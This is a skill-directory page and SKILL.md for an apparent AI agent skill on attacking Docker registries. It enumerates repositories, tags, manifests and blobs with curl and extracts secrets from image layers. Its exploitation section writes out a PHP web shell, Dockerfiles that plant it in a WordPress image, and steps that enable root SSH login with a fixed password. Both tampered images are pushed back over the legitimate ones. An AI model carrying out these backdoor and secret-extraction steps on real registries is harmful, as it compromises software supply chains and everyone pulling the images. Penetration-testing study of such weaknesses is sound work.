# Docker Registry Pentest

> How to pentest Docker registries (port 5000). Use this skill whenever you need to enumerate, exploit, or backdoor a Docker registry service. Trigger this when you discover port 5000 open, see Docker registry fingerprints, need to pull/push images from a registry, want to extract secrets from container images, or are working on container security assessments. Don't forget to use this for any Docker registry enumeration or exploitation tasks.

- Skill: `abelrguezr/docker-registry-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/docker-registry-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/docker-registry-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/docker-registry-pentest

---


# Docker Registry Pentesting

A skill for discovering, enumerating, and exploiting Docker registries during security assessments.

## Quick Start

```bash
# Check if Docker registry is accessible
curl -s http://<target>:5000/v2/_catalog

# If authenticated, use credentials
curl -s -u username:password http://<target>:5000/v2/_catalog
```

## Discovery

### Identify Docker Registry Service

Docker registries typically run on **port 5000** (default) and serve HTTP/HTTPS.

**Fingerprints to look for:**
- `/` returns empty response
- `/v2/` returns `{}`
- `/v2/_catalog` returns repository list or authentication error

**Nmap detection:**
```
PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
```

**Note:** Docker registries may be behind HTTP proxies where nmap won't detect them. Always test with curl.

## Enumeration

### Step 1: Determine Protocol (HTTP vs HTTPS)

```bash
# Try HTTP first
curl -s http://<target>:5000/v2/_catalog

# If you get binary output warnings, try HTTPS
curl -k -s https://<target>:5000/v2/_catalog
```

### Step 2: Check Authentication Requirements

```bash
# No auth required - you'll see repositories
curl -s http://<target>:5000/v2/_catalog
# Response: {"repositories":["alpine","ubuntu"]}

# Auth required - you'll see error
curl -s http://<target>:5000/v2/_catalog
# Response: {"errors":[{"code":"UNAUTHORIZED","message":"authentication required"...}]}
```

If authentication is required, you'll need valid credentials to proceed. Try brute-forcing with common credentials or look for leaked credentials elsewhere in the assessment.

### Step 3: List Available Repositories

```bash
# Without authentication
curl -s http://<target>:5000/v2/_catalog

# With authentication
curl -s -u username:password http://<target>:5000/v2/_catalog

# With bearer token
curl -s -H "Authorization: Bearer <token>" http://<target>:5000/v2/_catalog
```

### Step 4: List Tags for Each Repository

```bash
# Get all tags for a specific repository
curl -s http://<target>:5000/v2/<repo>/tags/list
# Response: {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
```

### Step 5: Get Image Manifests

```bash
# Get manifest for a specific tag
curl -s http://<target>:5000/v2/<repo>/manifests/<tag>
```

The manifest contains:
- `schemaVersion`: API version
- `name`: Repository name
- `tag`: Image tag
- `architecture`: CPU architecture
- `fsLayers`: Array of blob hashes (layers)
- `history`: Build history with commands used

### Step 6: Download and Inspect Blobs

```bash
# Download a specific blob
curl -s http://<target>:5000/v2/<repo>/blobs/<blob_hash> --output blob.tar

# Extract and inspect
tar -xf blob.tar
ls -la
```

**Important:** Download each blob to a separate directory to avoid overwriting. Blobs are layered, and extracting them together will merge the layers.

### Step 7: Use Docker CLI (if available)

```bash
# Pull image from registry
docker pull <target>:5000/<repo>:<tag>

# View image history (commands used to build)
docker history <target>:5000/<repo>

# Run container interactively
docker run -it <target>:5000/<repo> bash

# Get shell into running container
docker ps
docker exec -it <container_id> bash
```

## Exploitation

### Backdooring WordPress Image

If you find a WordPress image in the registry, you can backdoor it:

1. **Create a PHP shell:**
```bash
cat > shell.php << 'EOF'
<?php echo shell_exec($_GET["cmd"]); ?>
EOF
```

2. **Create a Dockerfile:**
```bash
cat > Dockerfile << EOF
FROM <target>:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
EOF
```

3. **Build and push the backdoored image:**
```bash
docker build -t <target>:5000/wordpress .
docker images  # Verify it was created
docker push <target>:5000/wordpress
```

### Backdooring SSH Server Image

If you find an SSH server image, you can modify it to allow root login:

1. **Pull and run the image:**
```bash
docker pull <target>:5000/sshd-docker-cli
docker run -d <target>:5000/sshd-docker-cli
```

2. **Extract sshd_config:**
```bash
docker cp <container_id>:/etc/ssh/sshd_config .
```

3. **Modify sshd_config:**
```bash
# Edit the file and add/modify:
PermitRootLogin yes
```

4. **Create Dockerfile:**
```bash
cat > Dockerfile << EOF
FROM <target>:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo "root:password" | chpasswd
EOF
```

5. **Build and push:**
```bash
docker build -t <target>:5000/sshd-docker-cli .
docker push <target>:5000/sshd-docker-cli
```

## Common Attack Patterns

### 1. Unauthenticated Registry Access
- Many registries are misconfigured without authentication
- All repositories and images are publicly accessible
- Can pull any image and inspect for secrets

### 2. Weak Credentials
- Default credentials often used (admin/admin, root/root)
- Credentials may be leaked in other parts of the assessment
- Try common Docker registry credential patterns

### 3. Image Tampering
- If you can push images, you can replace legitimate images with backdoored versions
- This affects anyone pulling from the registry
- Particularly dangerous for CI/CD pipelines

### 4. Secret Extraction
- Inspect image layers for hardcoded credentials
- Check environment variables in image history
- Look for AWS keys, database passwords, API tokens

## Tools

### DockerRegistryGrabber

A Python tool for enumerating and dumping Docker registries:

```bash
# List repositories
python3 drg.py http://<target> --list

# Dump specific image
python3 drg.py http://<target> --dump <image_name>

# Dump all images
python3 drg.py http://<target> --dump_all

# With authentication
python3 drg.py http://<target> -U username -P password --list

# With bearer token
python3 drg.py http://<target> -A '<bearer_token>' --list
```

## Workflow Summary

1. **Discover** - Check port 5000, verify Docker registry fingerprints
2. **Enumerate** - List repositories, tags, and manifests
3. **Extract** - Download blobs, inspect image contents
4. **Exploit** - Backdoor images, extract secrets, push malicious images
5. **Document** - Record findings, credentials, and access methods

## Important Notes

- **Always use separate directories** when extracting multiple blobs to avoid overwriting
- **Check both HTTP and HTTPS** - registries may be configured either way
- **Authentication may be required** - look for credentials elsewhere in the assessment
- **Image history contains build commands** - valuable for understanding the image and finding secrets
- **Pushing backdoored images** affects all future pulls from the registry

## References

- [Docker Registry Documentation](https://docs.docker.com/registry/)
- [Docker Registry API](https://docs.docker.com/registry/spec/api/)
- [Aqua Security - Docker Registry](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

